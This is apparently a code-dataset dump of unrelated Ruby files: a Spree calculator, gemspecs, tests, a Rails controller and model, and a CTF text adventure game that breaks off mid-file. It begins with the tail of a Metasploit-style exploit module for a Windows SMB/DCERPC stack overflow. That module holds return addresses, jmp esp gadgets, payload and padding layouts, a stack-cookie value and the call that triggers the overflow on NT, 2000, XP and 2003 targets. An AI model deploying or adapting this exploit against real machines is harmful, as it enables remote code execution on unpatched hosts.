"\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'DefaultTarget' => 0, 'Targets' => [ [ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)', { } ], [ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4', { 'Offset' => 1000, 'Ret' => 0x00020804 } ], [ '(wcscpy) Windows XP SP0/SP1', { 'Offset' => 612, 'Ret' => 0x00020804 } ], [ '(stack) Windows XP SP1 English', { 'OffsetA' => 656, 'OffsetB' => 680, 'Ret' => 0x71ab1d54 # jmp esp @ ws2_32.dll } ], [ '(stack) Windows XP SP1 Italian', { 'OffsetA' => 656, 'OffsetB' => 680, 'Ret' => 0x71a37bfb # jmp esp @ ws2_32.dll } ], [ '(wcscpy) Windows 2003 SP0', { 'Offset' => 612, 'Ret' => 0x00020804 } ], ], 'DisclosureDate' => 'Aug 8 2006')) register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']), ], self.class) end def exploit connect() smb_login() mytarget = target if (not target) or (target.name =~ /Automatic/) case smb_peer_os() when 'Windows 5.0' print_status("Detected a Windows 2000 target") mytarget = targets[1] when 'Windows NT 4.0' print_status("Detected a Windows NT 4.0 target") mytarget = targets[1] when 'Windows 5.1' begin smb_create("\\SRVSVC") print_status("Detected a Windows XP SP0/SP1 target") rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e if (e.error_code == 0xc0000022) print_status("Windows XP SP2 is not exploitable") return end print_status("Detected a Windows XP target (unknown patch level)") print_status("To exploit this system, \"set TARGET 2\" and run this exploit again") end return when /Windows Server 2003 (\d+)$/ print_status("Detected a Windows 2003 SP0 target, but have not confirmed English language") print_status("To exploit this system, \"set TARGET 5\" and run this exploit again") # mytarget = targets[5] return when /Windows Server 2003 (\d+) Service Pack (\d+)/ print_status("Windows 2003 SP#{$2} is not exploitable") return when /Samba/ print_status("Samba is not vulnerable") return else print_status("No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...") return end end # Specific fixups for Windows NT case smb_peer_os() when 'Windows NT 4.0' print_status("Adjusting the SMB/DCERPC parameters for Windows NT") datastore['SMB::pipe_write_min_size'] = 2048 datastore['SMB::pipe_write_max_size'] = 4096 end handle = dcerpc_handle( '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] ) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") # # /* Function 0x1f at 0x767e912c */ # long function_1f ( # [in] [unique] [string] wchar_t * arg_00, # [in] [string] wchar_t * arg_01, # [out] [size_is(arg_03)] char * arg_02, # [in] [range(0, 64000)] long arg_03, # [in] [string] wchar_t * arg_04, # [in,out] long * arg_05, # [in] long arg_06 # ); # print_status("Building the stub data...") stub = '' case mytarget.name # This covers NT 4.0 as well when /wcscpy.*Windows 2000/ code = make_nops(mytarget['Offset'] - payload.encoded.length) + payload.encoded path = code + ( [mytarget.ret].pack('V') * 16 ) + "\x00\x00" stub = NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString('') + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR.long(rand(250)+1) + NDR.UnicodeConformantVaryingStringPreBuilt("\xeb\x02\x00\x00") + NDR.long(rand(250)+1) + NDR.long(0) when /wcscpy.*Windows XP/ path = # Payload goes first payload.encoded + # Padding rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) + # Land 6 bytes in to bypass garbage (XP SP0) [ mytarget.ret + 6 ].pack('V') + # Padding rand_text_alphanumeric(8) + # Address to write our shellcode (XP SP0) [ mytarget.ret ].pack('V') + # Padding rand_text_alphanumeric(32) + # Jump straight to shellcode (XP SP1) [ mytarget.ret ].pack('V') + # Padding rand_text_alphanumeric(8) + # Address to write our shellcode (XP SP1) [ mytarget.ret ].pack('V') + # Padding rand_text_alphanumeric(32) + # Terminate the path "\x00\x00" stub = NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString('') + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR.long(rand(0xf0)+1) + NDR.UnicodeConformantVaryingString('') + NDR.long(rand(0xf0)+1) + NDR.long(0) when /stack/ buff = rand_text_alphanumeric(800) buff[0, payload.encoded.length] = payload.encoded buff[ mytarget['OffsetA'], 4 ] = [mytarget.ret].pack('V') buff[ mytarget['OffsetB'], 5 ] = "\xe9" + [ (mytarget['OffsetA'] + 5) * -1 ].pack('V') path = "\\\x00\\\x00" + buff + "\x00\x00" stub = NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString('') + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR.long(rand(0xf0)+1) + NDR.UnicodeConformantVaryingString('') + NDR.long(rand(0xf0)+1) + NDR.long(0) when /wcscpy.*Windows 2003/ path = # Payload goes first payload.encoded + # Padding rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) + # Padding rand_text_alphanumeric(32) + # The cookie is constant, # noticed by Nicolas Pouvesle in Misc #28 "\x4e\xe6\x40\xbb" + # Padding rand_text_alphanumeric(4) + # Jump straight to shellcode [ mytarget.ret ].pack('V') + # Padding rand_text_alphanumeric(8) + # Address to write our shellcode [ mytarget.ret ].pack('V') + # Padding rand_text_alphanumeric(40) + # Terminate the path "\x00\x00" stub = NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString('') + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR.long(rand(0xf0)+1) + NDR.UnicodeConformantVaryingString('') + NDR.long(rand(0xf0)+1) + NDR.long(0) end print_status("Calling the vulnerable function...") begin dcerpc.call(0x1f, stub, false) dcerpc.call(0x1f, stub, false) rescue Rex::Proto::DCERPC::Exceptions::NoResponse rescue => e if e.to_s !~ /STATUS_PIPE_DISCONNECTED/ raise e end end # Cleanup handler disconnect end end
28.84
102
0.54881
f7d187d64b779f689f1e1a78a68c27dcbca7fdc0
712
# frozen_string_literal: true require_dependency 'spree/calculator' module Spree class Calculator::FlatPercentItemTotal < Calculator preference :flat_percent, :decimal, default: 0 def compute(object) order = object.is_a?(Order) ? object : object.order preferred_currency = order.currency currency_exponent = ::Money::Currency.find(preferred_currency).exponent computed_amount = (object.amount * preferred_flat_percent / 100).round(currency_exponent) # We don't want to cause the promotion adjustments to push the order into a negative total. if computed_amount > object.amount object.amount else computed_amount end end end end
29.666667
97
0.720506
1c130192ebad779a1a73018bb847cbe7a93eedef
151
module TonyCorreiaViewTool class Renderer def self.copyright name, msg "&copy; #{Time.now.year} | <b>#{name}</b> #{msg}".html_safe end end end
21.571429
62
0.682119
d54bd74443671f89fd6bf30324e4fb4b1c214e9b
1,391
require_relative 'lib/faster_jpath/version' Gem::Specification.new do |spec| spec.name = "faster_jpath" spec.version = FasterJpath::VERSION spec.authors = ["Vagmi Mudumbai"] spec.email = ["[email protected]"] spec.summary = %q{Wraps over jmespath in Ruby to build a faster json path manager} spec.description = %q{Wraps over jmespath in Ruby to build a faster json path manager} spec.homepage = "https://github.com/tarkalabs/faster_jpath" spec.license = "MIT" spec.required_ruby_version = Gem::Requirement.new(">= 2.3.0") spec.metadata["allowed_push_host"] = "TODO: Set to 'http://mygemserver.com'" spec.metadata["homepage_uri"] = spec.homepage spec.metadata["source_code_uri"] = "https://github.com/tarkalabs/faster_jpath" spec.metadata["changelog_uri"] = "https://github.com/tarkalabs/faster_jpath" # Specify which files should be added to the gem when it is released. # The `git ls-files -z` loads the files in the RubyGem that have been added into git. spec.files = Dir.chdir(File.expand_path('..', __FILE__)) do `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) } end spec.bindir = "exe" spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) } spec.require_paths = ["lib"] spec.add_dependency "rutie", "~> 0.0.4" end
43.46875
90
0.672897
7a3f9e858e0fe4f07ee07c1a9f5ed10b4f6c1bf5
775
Pod::Spec.new do |spec| spec.name = "Trikot.http" spec.version = "1.0.1" spec.summary = "Trikot.http swift extensions." spec.description = "Trikot.http swift extensions." spec.homepage = "https://github.com/mirego/trikot.http" spec.license = "MIT license" spec.author = { "Martin Gagnon" => "[email protected]" } spec.source = { :git => "https://github.com/mirego/trikot.http.git", :tag => "#{spec.version}" } spec.source_files = "swift-extensions/*.swift" spec.static_framework = true spec.dependency ENV['TRIKOT_FRAMEWORK_NAME'] spec.dependency 'ReachabilitySwift', '~> 5.0' spec.prepare_command = <<-CMD sed -i '' "s/TRIKOT_FRAMEWORK_NAME/${TRIKOT_FRAMEWORK_NAME}/g" ./**/*.swift CMD end
38.75
105
0.64129
0196db3b8e8f8348f3c09c7603214c1ec3a3a48d
738
# frozen_string_literal: true shared_examples_for 'resource_type_general' do it 'has resource_type_general' do expect(stubby.resource_type_general).to eq(['Sound']) end it 'has resource_type_general predicate' do expect(rdf.should(include('http://purl.org/spar/datacite/hasGeneralResourceType'))) end it 'is in the solr_document' do expect(solr_doc.should(respond_to(:resource_type_general))) end it 'is in the configuration property_mappings' do expect(DogBiscuits.config.property_mappings[:resource_type_general].should(be_truthy)) end it 'is in the properties' do expect(DogBiscuits.config.send("#{stubby.class.to_s.underscore}_properties").should(include(:resource_type_general))) end end
30.75
121
0.771003
f885088ba17f7d239bdec7dbeaeefb70d44ba0c8
238
# frozen_string_literal: true module Scheduler # cleanup notifications at 1 years ago class NotificationCleanupJob < ApplicationJob def perform Notification.where("created_at < ?", 1.years.ago).delete_all end end end
21.636364
66
0.743697
017a4b7938b14eda6271153482773e2919b60559
110
class Object unless new.respond_to?(:tap) def tap yield self return self end end end
11
30
0.609091
e296ebda1cf1619d9b8f7e81859a73c1df9d9bbe
203
class UserItemAble < ActiveRecord::Base belongs_to :user belongs_to :product_item belongs_to :order # after_update :check_count # def check_count # self.destory! if count <= 0 # end end
18.454545
39
0.719212
ed0e72aab0124c8ded1006dba7e12b459f3ad492
6,877
# # Copyright 2014-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). You # may not use this file except in compliance with the License. A copy of # the License is located at # # http://www.apache.org/licenses/LICENSE-2.0 # # or in the "license" file accompanying this file. This file is # distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF # ANY KIND, either express or implied. See the License for the specific # language governing permissions and limitations under the License. require_relative '../helper' require 'fluent/plugin/kinesis_helper/api' require 'benchmark' class KinesisHelperAPITest < Test::Unit::TestCase class Mock include Fluent::Plugin::KinesisHelper::API include Fluent::Plugin::KinesisHelper::API::BatchRequest attr_accessor :retries_on_batch_request, :reset_backoff_if_success attr_accessor :failed_scenario, :request_series attr_accessor :batch_request_max_count, :batch_request_max_size attr_accessor :num_errors, :drop_failed_records_after_batch_request_retries, :monitor_num_of_batch_request_retries def initialize @retries_on_batch_request = 3 @reset_backoff_if_success = true @failed_scenario = [].to_enum @request_series = [] @num_errors = 0 @drop_failed_records_after_batch_request_retries = true @monitor_num_of_batch_request_retries = false end def request_type :firehose end def batch_request(batch) request_series.push(batch.size) failed = failed_num make_response(batch.size - failed, failed) end def failed_num failed_scenario.next end def make_response(success_num, failed_num) responses = [] success_num.times { responses << success_response } failed_num.times { responses << failed_response } Aws::Firehose::Types::PutRecordBatchOutput.new( failed_put_count: failed_num, request_responses: responses, ) end def success_response Aws::Firehose::Types::PutRecordBatchResponseEntry.new( record_id: "49543463076548007577105092703039560359975228518395019266", ) end def failed_response Aws::Firehose::Types::PutRecordBatchResponseEntry.new( error_code: "ServiceUnavailableException", error_message: "Some message", ) end def log @log ||= Fluent::Test::TestLogger.new() end def truncate(msg) msg end end def setup @object = Mock.new @backoff = mock() @backoff.stubs(:next).returns(0) @backoff.stubs(:reset) end data( 'split_by_count' => [Array.new(11, ['a'*1]), [10,1]], 'split_by_size' => [Array.new(11, ['a'*10]), [2,2,2,2,2,1]], 'split_by_size_with_space' => [Array.new(11, ['a'*6]), [3,3,3,2]], ) def test_split_to_batches(data) records, expected = data result = [] @object.batch_request_max_count = 10 @object.batch_request_max_size = 20 @object.send(:split_to_batches, records){|batch, size| result << batch } assert_equal expected, result.map(&:size) end data( 'no_failed_completed' => [[0,0,0,0], [5], true], '1_failed_completed' => [[1,0,0,0], [5,1], true], 'some_failed_completed' => [[3,2,1,0], [5,3,2,1], true], 'some_failed_incompleted' => [[4,3,2,1], [5,4,3,2], false], 'all_failed_incompleted' => [[5,5,5,5], [5,5,5,5], false], ) def test_batch_request_with_retry(data) failed_scenario, expected, completed = data batch = Array.new(5, {}) @object.failed_scenario = failed_scenario.to_enum @object.expects(:give_up_retries).times(completed ? 0 : 1) @object.send(:batch_request_with_retry, batch, backoff: @backoff) { |batch| @object.batch_request(batch) } assert_equal expected, @object.request_series end def test_reliable_sleep time = Benchmark.realtime do t = Thread.new { @object.send(:reliable_sleep, 0.2) } sleep 0.1 t.run t.join end assert_operator time, :>, 0.15 end data( 'reset_everytime' => [true, [4,3,2,1], 3], 'disable_reset' => [false, [4,3,2,1], 0], 'never_reset' => [true, [5,5,5,5], 0], ) def test_reset_backoff(data) reset_backoff, failed_scenario, expected = data batch = Array.new(5, {}) @object.reset_backoff_if_success = reset_backoff @object.failed_scenario = failed_scenario.to_enum @backoff.expects(:reset).times(expected) @object.send(:batch_request_with_retry, batch, backoff: @backoff) { |batch| @object.batch_request(batch) } end data( 'enabled_no_failed_completed' => [true, [0,0,0,0], 0], 'enabled_some_failed_completed' => [true, [3,2,1,0], 0], 'enabled_some_failed_incompleted' => [true, [4,3,2,1], 1], 'enabled_all_failed_incompleted' => [true, [5,5,5,5], 1], 'disabled_no_failed_completed' => [false, [0,0,0,0], 0], 'disabled_some_failed_completed' => [false, [3,2,1,0], 0], 'disabled_some_failed_incompleted' => [false, [4,3,2,1], 1], 'disabled_all_failed_incompleted' => [false, [5,5,5,5], 1], ) def test_drop_failed_records_after_batch_request_retries(data) param, failed_scenario, expected = data batch = Array.new(5, {}) @object.drop_failed_records_after_batch_request_retries = param @object.failed_scenario = failed_scenario.to_enum if !param && expected > 0 e = assert_raises Aws::Firehose::Errors::ServiceUnavailableException do @object.send(:batch_request_with_retry, batch, backoff: @backoff) { |batch| @object.batch_request(batch) } end assert_equal @object.failed_response.error_message, e.message else @object.send(:batch_request_with_retry, batch, backoff: @backoff) { |batch| @object.batch_request(batch) } assert_equal expected, @object.num_errors end end data( 'disabled_no_failed_completed' => [false, [0,0,0,0], 0], 'disabled_some_failed_completed' => [false, [3,2,1,0], 0], 'disabled_some_failed_incompleted' => [false, [4,3,2,1], 1], 'disabled_all_failed_incompleted' => [false, [5,5,5,5], 1], 'enabled_no_failed_completed' => [true, [0,0,0,0], 0], 'enabled_some_failed_completed' => [true, [3,2,1,0], 3], 'enabled_some_failed_incompleted' => [true, [4,3,2,1], 4], 'enabled_all_failed_incompleted' => [true, [5,5,5,5], 4], ) def test_monitor_num_of_batch_request_retries(data) param, failed_scenario, expected = data batch = Array.new(5, {}) @object.monitor_num_of_batch_request_retries = param @object.failed_scenario = failed_scenario.to_enum @object.send(:batch_request_with_retry, batch, backoff: @backoff) { |batch| @object.batch_request(batch) } assert_equal expected, @object.num_errors end end
36.005236
118
0.674277
38f86dfb2b5e1b0173fc340328fb52753dd93902
531
require 'trello_todo/trello/board' module TrelloTodo class Member attr_reader :username def initialize(username:) @username = username @boards = [] end # Get all the boards of a given user def boards return @boards unless @boards.empty? endpoint = "/1/members/#{username}/boards?" response = Client.get(endpoint) @boards = response.map do |board| Board.new(id: board['id'], name: board['name']) end end def to_s username end end end
18.310345
55
0.612053
28df21ea991304ee7695e3d08bfd70a302a10ff0
496
cask '[email protected]+ent' do version '1.8.3+ent' sha256 'ce49671ad580b7ef9e742d089c614a6b5ed5f1c00328d61b9b0900aa72aa2a9a' # releases.hashicorp.com was verified as official when first introduced to the cask url 'https://releases.hashicorp.com/consul/1.8.3+ent/consul_1.8.3+ent_darwin_amd64.zip' appcast 'https://github.com/hashicorp/consul/releases.atom' name 'Consul' homepage 'https://www.consul.io/' auto_updates false conflicts_with formula: 'consul' binary 'consul' end
31
89
0.766129
7a1a5a4df71197d605cd9fe3c2c12861af4b3147
1,404
class ProductsController < ApplicationController def index @product_recent = Product.recent @product_most_reviews = Product.most_reviews @products = Product.index(params[:page]) @products = @products.only_names(params[:name]) if params[:name].present? @products = @products.search(params[:search]) if params[:search].present? @products = @products.by_origin(params[:origin]) if params[:origin].present? end def show @product = Product.find(params[:id]) end def edit @product = Product.find(params[:id]) end def update @product = Product.find(params[:id]) if @product.update(product_params) flash[:notice] = "Product successfully added to inventory!" redirect_to products_path else render :edit end end def destroy @product = Product.find(params[:id]) @product.destroy flash[:notice] = "Product successfully deleted from inventory!" redirect_to products_path end def new @product = Product.new end def create @product = Product.new(product_params) if @product.save flash[:notice] = "Product successfully added to inventory!" redirect_to products_path else render :new end end def reviews @reviews = Review.includes(:products).all end private def product_params params.require(:product).permit(:name, :cost, :origin) end end
23.4
80
0.680199
01d8af9a5ed2bbffd71ea492d36ad04307d5384f
400
require 'valid_email/all' I18n.load_path += Dir.glob(File.expand_path('../../config/locales/**/*',__FILE__)) # Load list of disposable email domains config = File.expand_path('../../config/valid_email.yml',__FILE__) BanDisposableEmailValidator.config= YAML.load_file(config)['disposable_email_services'] rescue [] BanFreeEmailValidator.config= YAML.load_file(config)['free_email_services'] rescue []
57.142857
97
0.78
18791886c4a6513113a94df918de40344c43891a
1,189
# # Author:: Jordan Running (<[email protected]>) # Copyright:: Copyright 2013-2016, Chef Software Inc. # License:: Apache License, Version 2.0 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # require "chef/chef_fs/file_system/repository/client_key" require "chef/chef_fs/data_handler/client_key_data_handler" require "chef/chef_fs/file_system/repository/directory" class Chef module ChefFS module FileSystem module Repository class ClientKeysSubDir < Repository::Directory protected def make_child_entry(child_name) ClientKey.new(child_name, self) end end end end end end
30.487179
75
0.704794
395c562eec137dcaf1650b5b39df45f1597ee4be
679
# frozen_string_literal: true module Teamwork module Client module Task module Collect # port监控告警拆分开来, 收集,告警,恢复,脚本 class Port < Base def process(ops = {}) port = ops['port'] || [] port.map!(&:to_i) listen_port = listen_ports msg.merge!({ listen_port: listen_port, port: port }) end def listen_ports _, port_lists = Teamwork::Utils.linux_command "netstat -antp | sed '1,2d' | awk '/tcp/{if($6 == \"LISTEN\")print $4}'" port_lists.map do |p| p.split(':').last.to_i end end end end end end end
25.148148
130
0.511046
187c310cf7c89328121dd85c9b5a7026958377ec
2,810
# frozen_string_literal: true module Alchemy class Node < BaseRecord VALID_URL_REGEX = /\A(\/|\D[a-z\+\d\.\-]+:)/ before_destroy :check_if_related_essence_nodes_present acts_as_nested_set scope: "language_id", touch: true stampable stamper_class_name: Alchemy.user_class_name belongs_to :language, class_name: "Alchemy::Language" belongs_to :page, class_name: "Alchemy::Page", optional: true, inverse_of: :nodes has_one :site, through: :language has_many :essence_nodes, class_name: "Alchemy::EssenceNode", foreign_key: :node_id, inverse_of: :ingredient_association before_validation :translate_root_menu_name, if: -> { root? } before_validation :set_menu_type_from_root, unless: -> { root? } validates :menu_type, presence: true validates :name, presence: true, if: -> { page.nil? } validates :url, format: { with: VALID_URL_REGEX }, unless: -> { url.nil? } # Returns the name # # Either the value is stored in the database # or, if attached, the values comes from a page. def name read_attribute(:name).presence || page&.name end class << self # Returns all root nodes for current language def language_root_nodes raise "No language found" if Language.current.nil? roots.where(language_id: Language.current.id) end def available_menu_names read_definitions_file end private # Reads the element definitions file named +menus.yml+ from +config/alchemy/+ folder. # def read_definitions_file if ::File.exist?(definitions_file_path) ::YAML.safe_load(File.read(definitions_file_path)) || [] else raise LoadError, "Could not find menus.yml file! Please run `rails generate alchemy:install`" end end # Returns the +menus.yml+ file path # def definitions_file_path Rails.root.join "config/alchemy/menus.yml" end end # Returns the url # # Either the value is stored in the database, aka. an external url. # Or, if attached, the values comes from a page. def url page&.url_path || read_attribute(:url).presence end def to_partial_path "alchemy/menus/#{menu_type}/node" end private def check_if_related_essence_nodes_present dependent_essence_nodes = self_and_descendants.flat_map(&:essence_nodes) if dependent_essence_nodes.any? errors.add(:base, :essence_nodes_present, page_names: dependent_essence_nodes.map(&:page).map(&:name).to_sentence) throw(:abort) end end def translate_root_menu_name self.name ||= Alchemy.t(menu_type, scope: :menu_names) end def set_menu_type_from_root self.menu_type = root.menu_type end end end
29.270833
123
0.676157
f7c53d15b413a8fbb1bc7bc5681ccf04cc0ffd26
13,134
#!/usr/local/bin/ruby require 'readline' require_relative './items.rb' require_relative './locations.rb' require_relative './monsters.rb' # Turns off stdout buffering $stdout.sync = true YOU = { :weapon_equipped => false, :weapon => nil, :shield_equipped => false, :shield => nil, :inventory => (1..3).map() { random_item(ALL_ITEMS) }, :gold => 10, :health => 80, :location => :club, :experience => 0, } MONSTER = { :present => false, :monster => nil, } # Generate a handful of random items for the store, in addition to the flag STORE = FLAGS + (0..8).map { random_item(ALL_ITEMS) } class BeezException < StandardError end # Get an item from a specific index in the player's inventory def get_from_inventory(num) num = num.to_i() if(num < 1 || num > YOU[:inventory].length()) raise(BeezException, "Itemnum needs to be an integer between 1 and #{YOU[:inventory].length()}") end return YOU[:inventory][num - 1] end # Don't allow certain actions when a monster is present def ensure_no_monster() if(MONSTER[:present]) raise(BeezException, "That action can't be taken when a monster is present!") end end # Check if a monster appears def gen_monster() # Don't spawn multiple monsters if(MONSTER[:present] == true) return end if(rand() < location()[:monster_chance]) MONSTER[:present] = true MONSTER[:monster] = (MONSTERS.select() { |m| m[:appears_in].include?(YOU[:location]) }).sample().clone() MONSTER[:max_health] = MONSTER[:monster][:health].to_a().sample() MONSTER[:health] = MONSTER[:max_health] puts() puts("Uh oh! You just got attacked by #{MONSTER[:monster][:name]}! Better defend yourself!") sleep(1) raise(BeezException, "You are now in combat!") end end def location() return LOCATIONS[YOU[:location]] end # Do the monster's attack, if one is present def monster_attack() if(!MONSTER[:present]) return end # Start by randomizing which of the monster's attacks it uses monster_attack = MONSTER[:monster][:weapons].sample() # Randomly choose a damage from the list of possible damages from the attack monster_damage = monster_attack[:damage].to_a().sample().to_f() # Scale down the damage based on the monster's health (makes the game a little easier) monster_adjusted_damage = (monster_damage * (MONSTER[:health].to_f() / MONSTER[:max_health].to_f())).ceil() # Scale down the damage if a shield is equipped if(YOU[:shield_equipped] && monster_adjusted_damage > 0) monster_adjusted_damage = monster_adjusted_damage * YOU[:shield][:defense] end # Round the damage up monster_adjusted_damage = monster_adjusted_damage.ceil().to_i() puts("The #{MONSTER[:monster][:name]} attacks you with its #{monster_attack[:weapon_name]} for #{monster_adjusted_damage} damage!") YOU[:health] -= monster_adjusted_damage # Check if the player is dead if(YOU[:health] <= 0) puts() puts("You were killed by the #{}! :( :( :(") puts("RIP #{YOU[:name]}!") 1.upto(10) do puts(":(") sleep(1) end exit(0) end puts("You have #{YOU[:health]}hp left!") puts() sleep(1) end # Unequip a weapon or armour def unequip(which) if(which == "weapon") if(!YOU[:weapon]) raise(BeezException, "You aren't using a weapon!") end YOU[:inventory] << YOU[:weapon] YOU[:weapon_equipped] = false puts("You unequipped your weapon!") elsif(which == "shield") if(!YOU[:shield]) raise(BeezException, "You aren't using a shield!") end YOU[:inventory] << YOU[:shield] YOU[:shield_equipped] = false puts("You unequipped your shield!") else raise(BeezException, "You can only unequip a weapon or shield!") end end # Do a single 'tick' of hte game def tick() # Print character puts() puts(" -------------------------------------------------------------------------------") puts(" The Brave Sir/Lady #{YOU[:name]}") puts(" Gold: #{YOU[:gold]}gp") puts(" Health: #{YOU[:health]}hp") puts(" Experience: #{YOU[:experience]}") puts() if(YOU[:weapon_equipped]) puts(" Left hand: #{YOU[:weapon][:name]}") else puts(" Left hand: No weapon!"); end if(YOU[:shield_equipped]) puts(" Right hand: #{YOU[:shield][:name]}") else puts(" Right hand: No shield!"); end puts() puts(" Inventory: #{YOU[:inventory].map() { |i| i[:name] }.join(", ")}") puts() puts(" Location: #{location()[:name]}") puts(" -------------------------------------------------------------------------------") puts() # If there's a monster present, display it if(MONSTER[:present]) puts("You're in combat with #{MONSTER[:monster][:name]}!") puts() end # If the player is in the store, print its inventory if(YOU[:location] == :store) puts("For sale:") 1.upto(STORE.length()) do |i| puts("%d :: %s (%dgp)" % [i, STORE[i - 1][:name], STORE[i - 1][:value]]) end puts() end # Get command command = Readline.readline("> ", true) if(command.nil?) puts("Bye!") exit(0) end # Split the command/args at the space command, args = command.split(/ /, 2) puts() # Process command if(command == "look") # Print a description of hte locatoin puts("#{location()[:description]}. You can see the following:" ) # Print the attached locations 1.upto(location()[:connects_to].length()) do |i| puts("%2d :: %s" % [i, LOCATIONS[location()[:connects_to][i - 1]][:name]]) end elsif(command == "move") # Don't allow moving if there's a monster ensure_no_monster() # See if a monster apperas gen_monster() # Make sure it's a valid move args = args.to_i if(args < 1 || args > location()[:connects_to].length) raise(BeezException, "Invalid location") end # Update the location YOU[:location] = location()[:connects_to][args - 1] puts("Moved to #{location()[:name]}") elsif(command == "search") puts("You search the ground around your feet...") sleep(1) # See if a monster appears gen_monster() # If no monster appeared, see if an item turns up if(rand() < location()[:item_chance]) item = random_item(ALL_ITEMS) puts("...and find #{item[:name]}") YOU[:inventory] << item else puts("...and find nothing!"); end puts() # After searching for an item, if there's a monster present, let it attack monster_attack() elsif(command == "inventory") puts "Your inventory:" 1.upto(YOU[:inventory].length()) do |i| item = get_from_inventory(i) if(item.nil?) return end puts("%3d :: %s (worth %dgp)" % [i, item[:name], item[:value]]) end elsif(command == "describe") # Show the description for an item. Note that this is what you have to do with the flag.txt item to get the flag! item = get_from_inventory(args) puts("%s -> %s" % [item[:name], item[:description]]) elsif(command == "equip") # Attempt to equip an item item = get_from_inventory(args) if(item[:type] == :weapon) if(YOU[:weapon_equipped]) unequip('weapon') end YOU[:weapon_equipped] = true YOU[:weapon] = item puts("Equipped #{item[:name]} as a weapon!") elsif(item[:type] == :shield) if(YOU[:shield_equipped]) unequip('shield') end YOU[:shield_equipped] = true YOU[:shield] = item puts("Equipped #{item[:name]} as a shield!") else raise(BeezException, "#{item[:name]} can't be equipped!") end # Remove the item from inventory after equipping it YOU[:inventory].delete_at(args.to_i - 1) elsif(command == "drop") # Just remove the item from inventory item = get_from_inventory(args) YOU[:inventory].delete_at(args.to_i - 1) puts("Dropped #{item[:name]} into the eternal void") elsif(command == "drink") item = get_from_inventory(args) if(item[:type] != :potion) raise(BeezException, "That item can't be drank!") end # Remove the item from the inventory YOU[:inventory].delete_at(args.to_i - 1) # Heal for a random amount amount = item[:healing].to_a.sample YOU[:health] += amount puts("You were healed for #{amount}hp!") puts() sleep(1) monster_attack() elsif(command == "sell") ensure_no_monster() if(YOU[:location] != :store) raise(BeezException, "This can only be done at the store!") end # Remove the item from inventory item = get_from_inventory(args) YOU[:inventory].delete_at(args.to_i - 1) # Increase your gold by the item's value YOU[:gold] += item[:value] STORE << item puts("You sold the #{item[:name]} for #{item[:value]}gp!") elsif(command == "buy") ensure_no_monster() if(YOU[:location] != :store) raise(BeezException, "This can only be done at the store!") end args = args.to_i() if(args < 1 || args > STORE.length()) raise(BeezException, "Itemnum needs to be an integer between 1 and #{STORE.length()}") end # MAke sure they can afford the item item = STORE[args - 1] if(item[:value] > YOU[:gold]) raise(BeezException, "You can't afford that item!") end # Remove the item from the store STORE.delete_at(args - 1) YOU[:inventory] << item YOU[:gold] -= item[:value] puts("You bought %s for %dgp!" % [item[:name], item[:value]]) elsif(command == "attack") if(!MONSTER[:present]) puts("Only while monster is present!!!") return end # Get the amount of damage if(YOU[:weapon_equipped]) your_attack = YOU[:weapon][:damage].to_a.sample() puts("You attack the #{MONSTER[:monster][:name]} with your #{YOU[:weapon][:name]} doing #{your_attack} damage!") else your_attack = (0..2).to_a.sample puts("You attack the #{MONSTER[:monster][:name]} with your fists doing #{your_attack} damage!") end # Reduce the monster's health MONSTER[:health] -= your_attack # Check if the monster is dead if(MONSTER[:health] <= 0) puts("You defeated the #{MONSTER[:monster][:name]}!") # If the monster died, have it drop a random item item = random_item(ALL_ITEMS) puts("It dropped a #{item[:name]}!") YOU[:inventory] << item MONSTER[:present] = false else puts("It's still alive!") end puts() sleep(1) monster_attack() elsif(command == "unequip") unequip(args) else puts("Commands:") puts() puts("look") puts(" Look at the current area. Shows other areas that the current area connects") puts(" to.") puts() puts("move <locationnum>") puts(" Move to the selected location. Get the <locationnum> from the 'look' command.") puts() puts(" Be careful! You might get attacked while you're moving! You can't move when") puts(" you're in combat.") puts() puts("search") puts(" Search the area for items. Some areas will have a higher or lower chance") puts(" of having items hidden.") puts() puts(" Be careful! You might get attacked while you're searching!") puts() puts("inventory") puts(" Show the items in your inventory, along with their <itemnum> values, which") puts(" you'll need in order to use them!") puts() puts("describe <itemnum>") puts(" Show a description of the item in your inventory. <itemnum> is obtained by") puts(" using the 'inventory' command.") puts() puts("equip <itemnum>") puts(" Equip a weapon or shield. Some unexpected items can be used, so try equipping") puts(" everything!") puts() puts("unequip <weapon|shield>") puts(" Unequip (dequip?) your weapon or shield.") puts() puts("drink <itemnum>") puts(" Consume a potion. <itenum> is obtained by using the 'inventory' command.") puts() puts("drop <itemnum>") puts(" Consign the selected item to the eternal void. Since you have unlimited") puts(" inventory, I'm not sure why you'd want to do that!") puts() puts("buy <storenum>") puts(" Buy the selected item. Has to be done in a store. The list of <storenum>") puts(" values 